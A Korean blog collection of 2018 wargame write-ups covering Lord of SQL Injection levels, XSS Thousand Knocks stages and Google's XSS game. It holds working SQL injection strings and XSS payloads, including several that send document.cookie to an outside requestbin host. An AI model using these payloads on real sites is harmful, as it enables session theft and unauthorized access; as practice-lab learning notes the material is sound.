LOS goblin writeup



지금 id에 guest가 있고, 


 if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");


id가 admin이 되면 풀리는 문제인듯하다!!


http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?id=admin&no=1234


이렇게 넣어도 


query : select id from prob_goblin where id='guest' and no=1234


쿼리 guest는 바뀌지 않는다. 음...guest를 어떻게 없앨까...?


처음에는 주석으로 guest를 없애서 admin을 넣는 문제인거같은데 도저히 그건 모르겠다...

지금까지 문제와는 다르게 pw가 아니라 no인데 no의 역할은 무엇일지 궁금해졌다. 


no에 1을 넣으니 아래와 같이 hello guest가 뜬다. 1 이외에 넣으니 hello guest가 사라졌다.

 


http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id='admin' 이렇게 하니 


No Quotes ~_~


이렇게 뜸.


http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=admin


이렇게 해보니 


query : select id from prob_goblin where id='guest' and no=2 or id=admin


이렇게 추가만 되고 안됨.

그래서 찾아보니 char를 사용해서 아스키코드로 넣어주라고 함!


query : select id from prob_goblin where id='guest' and no=2 or id=char(97 100 109 105 110)


char사용법을 몰라서 이러한 뻘짓도 해보았다...뷁


http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=char(97,100,109,105,110)


이렇게 하면 성공!! 우왕





'WebHacking > Lord of SQL injection Write-Up' 카테고리의 다른 글

LOS cobolt writeup  (0) 2018.07.20
Los gremlin writeup  (0) 2018.07.20

LOS cobolt writeup


우선 문제를 보면 get방식으로 되어있고, pw에 md5 암호가 걸려있는 것을 확인할 수 있다. 


http://los.rubiya.kr/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin&pw=1234


.위와 같이 


query : select id from prob_cobolt where id='admin' and pw=md5('1234')


이렇게 나오고 1번문제 푼것과 같이 넣어보면, 


http://los.rubiya.kr/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=%27or%201=1%23&pw=


이렇게 나온다...음... 이 방법은 아닌가보다. 


  if($result['id'] == 'admin'solve("cobolt");

  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  
highlight_file(__FILE__); 


전과 같은 방법을 쓰니 admin이 아니라 id가 rubiya님이 뜨는것을 확인할 수 있다. 흠 그럼 admin으로 로그인을 해야 된다는건데...


그래서 admin을 넣고 뒤에는 주석처리를 해주었다.


http://los.rubiya.kr/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%20%23


이렇게 하니 성공!!





'WebHacking > Lord of SQL injection Write-Up' 카테고리의 다른 글

LOS goblin writeup  (0) 2018.07.20
Los gremlin writeup  (0) 2018.07.20

LOS gremlin writeup


문제 확인을 해보면,


위와 같이 나와있고, GET방식으로 되어있음을 알게 된다. 


http://los.rubiya.kr/gremlin_280c5552de8b681110e9287421b834fd.php?id=yeali&pw=1234


이렇게 입력을 하면, 


query : select id from prob_gremlin where id='yeali' and pw='1234'



쿼리문이 이렇게 변경되게 된다. 


id와 pw를 성립하게 해주면 되는 문제인듯하다. 


http://los.rubiya.kr/gremlin_280c5552de8b681110e9287421b834fd.php?id='or 1=1#&pw=


이렇게 해서 #뒤에는 주석처리를 해주려고 했으나 #이 안들어간다. url 인코딩을 해줘야 하나보다!


http://los.rubiya.kr/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27or%201=1%23&pw=


이렇게 하면 성공!



'WebHacking > Lord of SQL injection Write-Up' 카테고리의 다른 글

LOS goblin writeup  (0) 2018.07.20
LOS cobolt writeup  (0) 2018.07.20

여기서 시간 많이 썼다. 


문제 3번이랑 비슷한데 똑같이 하면 안된다. 


그래서 <a>태그를 닫아서 스크립트를 전달하면 ok가 뜬다. 


http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q='></a><script>location.href=%27http://requestbin.fullcontact.com/v9x9evv9?%27%2Bdocument.cookie</script>





이렇게 성공.



ps. 이거 textarea로 문제 풀 수 있던데, 어떻게 풀리는지 의문이다. 


http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q=%22%3E%3C/textarea%3E%3Cscript%3Elocation.href=%27http://requestbin.fullcontact.com/v9x9evv9?a=%27%2Bdocument.cookie%3C/script%3E%3Ctextarea%3E





수천 번의 노크 XSS 단계 3번 write up


링크를 접속하니 Link라는 href가 하나 있고, 접속을 하면 기존과 같게 접속이 된다. 



이거 xss game 5번에서 비슷한 문제를 풀어보았기에 비슷하게 하면 된다고 생각을 했음.


?q=' ' 2번과 같이 넣어놓고 link를 누르면 되는거같다!!!



근데 자꾸 404 not found | nginx로 간다... 음 nginx?


** nginx : 아파치 같은 웹서버인듯하다. 한국에서 27%의 점유율을 가지고 있고, 아파치 보다 더 적은 자원으로 더 빠르게 데이터를 서비스 할 수 있는 웹 서버 소프트웨어이다. 



 페이지 소스 보기를 하면 <a href="/q=XSS">Link</a> 이렇게 있음을 보게 된다. 그럼 href에서 빠져나와 내가 원하는 스크립트를 실행시키게 해야 되는것같다.


http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href='http://requestbin.fullcontact.com/181sw2j1?a='%2Bdocument.cookie</script>



이렇게 해서 창에서는 되었다! ok가 떴습니다. 


그런데 Stage에 넣으면 fail csrf check이 또 떴다. 아까도 html encoding으로 '을 바꿔주면 되는것같다. 


'는 %27이다. 이걸 적용해서 


http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href=%27http://requestbin.fullcontact.com/181sw2j1?a=%27%2Bdocument.cookie</script>


이렇게 넣으면 성공




링크를 들어가면 아래와 같은 링크로 들어가게 된다. 

http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=XSS


q=뒤에 있는 내용이 출력되는 기능을 가지고 있는 웹페이지이다. 



그래서 아래와 같은 url을 보내보았다. 


http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>location.href='http://requestbin.fullcontact.com/x1n9b3x1'+document.cookie</script>


그런데 이렇게 보내니까 failed csrf check! 라고 뜨면서 실패가 된다.


고민을 해보다가 +의 문제인거같아서 http encoding하면 나오는 %2B를 넣어서 보내보았다. 


http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>location.href='http://requestbin.fullcontact.com/x1n9b3x1'%2Bdocument.cookie</script>


근데 자꾸 none이 뜬다... 그 이유가 뭘까?



http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>location.href='http://requestbin.fullcontact.com/x1n9b3x1?a='%2Bdocument.cookie</script>


변수값을 안 줘서 안 뜬거였다....세상 바보...


이렇게 하면 flag가 제대로 온다. 성공





XSS문제를 더 풀고 싶어서 XSS Thousand Knocks 풀게 됨.


https://knock.xss.moe/index


우선 Stage1은 튜토리얼이었는데 어떻게 푸는건지 몰라서 시간이 좀 걸림. 



위와 같이 써있는데 서버를 활용해서 XSS 공격을 보낸 후에 서버에 오는 플래그를 읽으면 되는 문제라고 한다. 


처음에는 vm 서버를 활용해서 문제를 풀려고 했으나 외부 접속을 막고 있는지 문제가 풀리지 않았다. 


그래서 http://requestbin.fullcontact.com을 활용하였다. 


해당 문제에 1번에 위와 같이 적어있어서 해당 페이지에 접속해

http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?location=%22http://example.com/?%22%2Bdocument.cookie

이렇게 적어줬는데 이렇게 푸는 문제가 아니라 url form에 넣으면 이 사이트에서 알아서 플래그를 보내준다. 

이 튜토리얼은 그 과정을 설명하기 위한 문제인듯하다. 

requestbin을 활용하면 url이 제공되는데 그 제공된 url의 example.com 안에 넣어서 보내면 플래그가 requestbin으로 전송된다. 





튜토리얼을 통해 어떻게 푸는지 알게 되었다. 


Xss game level 6 write up - 마지막


#번역

미션 설명 : 복잡한 웹 응용 프로그램에는 URL 매개변수의 값 또는 일부의 값에 따라 Javascript 라이브러리를 동적으로 로드할 수 있는 location.hash 기능있습니다. 

스크립트를 비롯한 잠재적으로 위험한 유형의 XMLHttpRequest 데이터를 로드할 때마다  심각한 취약점을 초래할 수 있수 있기에 사용자 입력이 url에 영향을 미치도록 허용하는 것은 매우 까다로운 작업입니다. 


미션 목표 : 응용 프로그램이 외부 파일을 요청하도록 하여 alert()를 실행하도록 하시오.



#분석


우선 미션 설명에서 얻을 수 있는 정보는 url를 이용해야 되고 그 중 js라이브러리를 동적으로 로드할 수 있는 함수 중 location.hash를 사용해야 된다는거!

그럼 소스에서 location.hash를 찾아보자. 




<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() {
        setInnerText(document.getElementById("log"), 
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() {
        setInnerText(document.getElementById("log"), 
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() {
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

index.html 전체 소스 




// Take the value after # and use it as the gadget filename.
    function getGadgetName() {
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

위에는 location.hash가 포함된 부분이다. 주석에는 #을 사용한 후에 gadget 파일을 사용한다고 한다.


#뒤의 내용을 출력해주고 있다. 



#? hint를 보면 #에 대한 언급이 있다. 




hint

1. 위치 #의 값이 로드된 스크립트의 url에 어떻게 영향을 미치는지 확인하세요.

2. Gadgets의 url 보안검사가 정말로 안전한가요?

3. 때때로 좌절감을 느낄때 비명을 지르고 싶다(??????이거 진짜임?)

4. 악의적인 JS파일을 쉽게 호스팅할 수 없다면, google.com/jsapi?callback=foo가 여기에 도움이 되는지 확인을 하세요. -> 스크립트 파일을 서버에 올려서 사용하라는 말이란다...음..


foo는 heap에서 공부할 때도 많이 나왔는데 그냥 빈칸 채우기 용인가???

검색해보니까 재밌는게 있어서 첨부함. http://aroundck.tistory.com/956

빈칸 채우기용 foo! 왜인지 heap 공부할 때 이해안되서 쳐보니까 아무것도 안 나오더라~~~


url을 보면 https://xss-game.appspot.com/level6/frame#/static/gadget.js 이렇게 구성이 되어있다. # 뒤에 있는 내용이 화면에 출력된다. 







#익스


서버 사용하기 귀찮아서 data url scheme으로 풀게 되었다. 

데이터를 url로 변경해서 data:[자료타입],[데이터] 이렇게 넣으면 된다. 


https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('yeali');





이렇게 넣으면 성공.




pps. http://jeonyoungsin.tistory.com/480


이런식으로 푸는 방법도 있다.






'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 5 write up  (0) 2018.07.17
Xss-game level 4 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17

Xss game level 5 write up


#번역


미션 설명 : XSS는 데이터를 올바르게 이스케이프 처리하는거에 멈추지 않습니다. 때로는 공격자가 Dom에 새 요소를 주입하지 않고도 나쁜일을 할 수 있습니다.


미션 목표 : alert()를 넣어서 팝업 스크립트를 삽입하시오.



#분석


Dom에 스크립트를 삽입하지 않고 푸는 문제라는게 무슨 뜻일까?? 풀면 알 듯하다. 


hint

1. 제목이 힌트이다.

2. 가입 프레임의 소스를 보고 URL 매캐 변수가 어떻게 사용되는지 살펴보는것이 좋다.

3. onclick 핸들러를 사용하지 않고 링크를 클릭하여 javascript를 실행하게 하려면 어떻게 해야 되는가?

4. 진짜 안 풀리면 IETF 초안을 살펴보자. (https://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00)




의심스러운 것!

<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
    </script>


이 부분이 의심스러웠음. timeout을 하는 곳에 스크립트를 추가해서 하는건가?!


next는 

    <a href="{{ next }}">Next >></a>

이렇게 링크를 클릭하면 next를 받아서 넘어가도록 코딩해놓음. 



next변수가 get방식으로 하여 url에 드러나니 url로 스크립트를 전달하면 된다. 


url로 스크립트를 전달하는 것이 Dom에 스크립트를 삽입하지 않고 문제를 푸는 것일까??


" "안에 있는 내용은 내 생각임을 밝힘. 틀리면 말해주세여. 내가 이해한 내용이 틀렸다는거니까!



** Dom : Document Object Model 문서 객체 모델은 HTML 및 XML 문서를 처리하는 API라고 합니다. 문서의 구조적 형태를 제공하므로 자바스크립트와 같은 스크립트 언어를 사용하여 문서 내용과 시각적 표현을 수정할 수 있습니다. 

"문서를 구조화시키고 Dom이 이해해서 추상화를 시킨다. 여기서 추상화란, 핵심적인 개념을 뽑는 활동으로 생각했다. 추상화를 시켜서 그를 이미지화하여 브라우저에 보이게 하는 역할을 한다고 생각함. "


** API : 응용 프로그램에서 사용할 수 있도록 운영 체제나 프로그래밍 언어가 제공하는 기능을 제어할 수 있게 만든 인터페이스를 뜻함. 

"인터페이스란 다른 언어를 사용하고 있는 매체들 사이에서 의사소통이 가능하도록 하는 것을 말한다고 한다. 그러므로 프로그램에서 운영체제와 프로그래밍 언어를 제공할 수 있도록 만드는 의사소통 가능하게 만드는 것이라고 생각함"



next 변수를 활용하는 건 알았는데, next변수에 alert()를 넣고 Go를 눌러도 아무 반응이 없었다. 


Go를 누르는게 아닌거같다. next 링크가 url에 있는대로 가서 바꿔주지 않으면 confirm으로 가게 되는데, 이것을 팝업창을 띄어주는 스크립트를 넣으면 된다. 이런게 Dom에 스크립트를 추가하지 않고 실행하는 예시인듯하다. 


#익스



https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('yeali');

을 넣고, next를 누르면 뜸. 






'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 6 write up  (0) 2018.07.17
Xss-game level 4 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17

xss game level 4 write up


#번역


미션 설명 : 사용자가 제공한 모든 데이터는 표시도리 페이지의 내용에 맞게 올바르게 이스케이프되어야 합니다. 


미션 목표 : alert()로 팝업하는 스크립트를 삽입하세요.





#분석


hint

1. startTimer 함수가 호출되는 방법을 살펴봅시다. 

2. 브라우저가 태그 속성을 구문 분석할 때 먼저 HTML 값을 디코딩합니다. <foo bar = 'z'>는 <foo bar='&#x7a;와 동일합니다. 

3. 작은 따옴표(')를 입력하고 오류 콘솔을 확인하세요.


3번에서 작은 따옴표를 입력하면 

이렇게 됩니다!


1번에서 startTimer 함수가 호출되는 방법을 확인하라고 했는데 그 내용은 timer.html에 존재함!


<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() {
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>


또한 index.html를 보면 

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <form action="" method="GET">
      <input id="timer" name="timer" value="3">
      <input id="button" type="submit" value="Create timer"> </form>
    </form>
  </body>
</html>


get방식임을 확인할 수 있고, timer.html에서 onload로 입력한 time이 들어감을 확인할 수 있다. 


url은 https://xss-game.appspot.com/level4/frame 이렇게 구성되어있는데, get방식으로 timer를 불러오니까 뒤에 스크립트를 추가하면 된다. 




#익스



기존 url : https://xss-game.appspot.com/level4/frame

3을 input값에 넣으면 https://xss-game.appspot.com/level4/frame?timer=3 이렇게 된다. 


https://xss-game.appspot.com/level4/frame?timer=('{{ timer }}'); 이렇게 전달되는것 같으니 

timer=1'); alert(''yeali" 이 내용을 넣어주면, https://xss-game.appspot.com/level4/frame?timer=('1'); alert(''yeali")');

이렇게 깔끔하게 되니까 실행되겠지?!!


근데 안됨.

https://xss-game.appspot.com/level4/frame?timer=1')-alert('yeali 이렇게 하면 됨. -연산을 주면 alert창이 뜨면서 성공!






ps. 다른 블로그에서 다른 스크립트로 푼게 있어서 적어두려고 함. 


나와 같이 세미콜론으로 해서 안 되는 경우였음. 나는 -연산을 사용했지만 다른 글은 url 인코딩해서 보내주어서 문제를 풀었다. 


;를 %3B로 바꿔서 입력해서 ;으로 입력하여 푼 경우가 있음. hint를 보니 이 글과 같이 푸는게 출제의도인거같아서 적어둠. 

'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 6 write up  (0) 2018.07.17
Xss game level 5 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17

+ Recent posts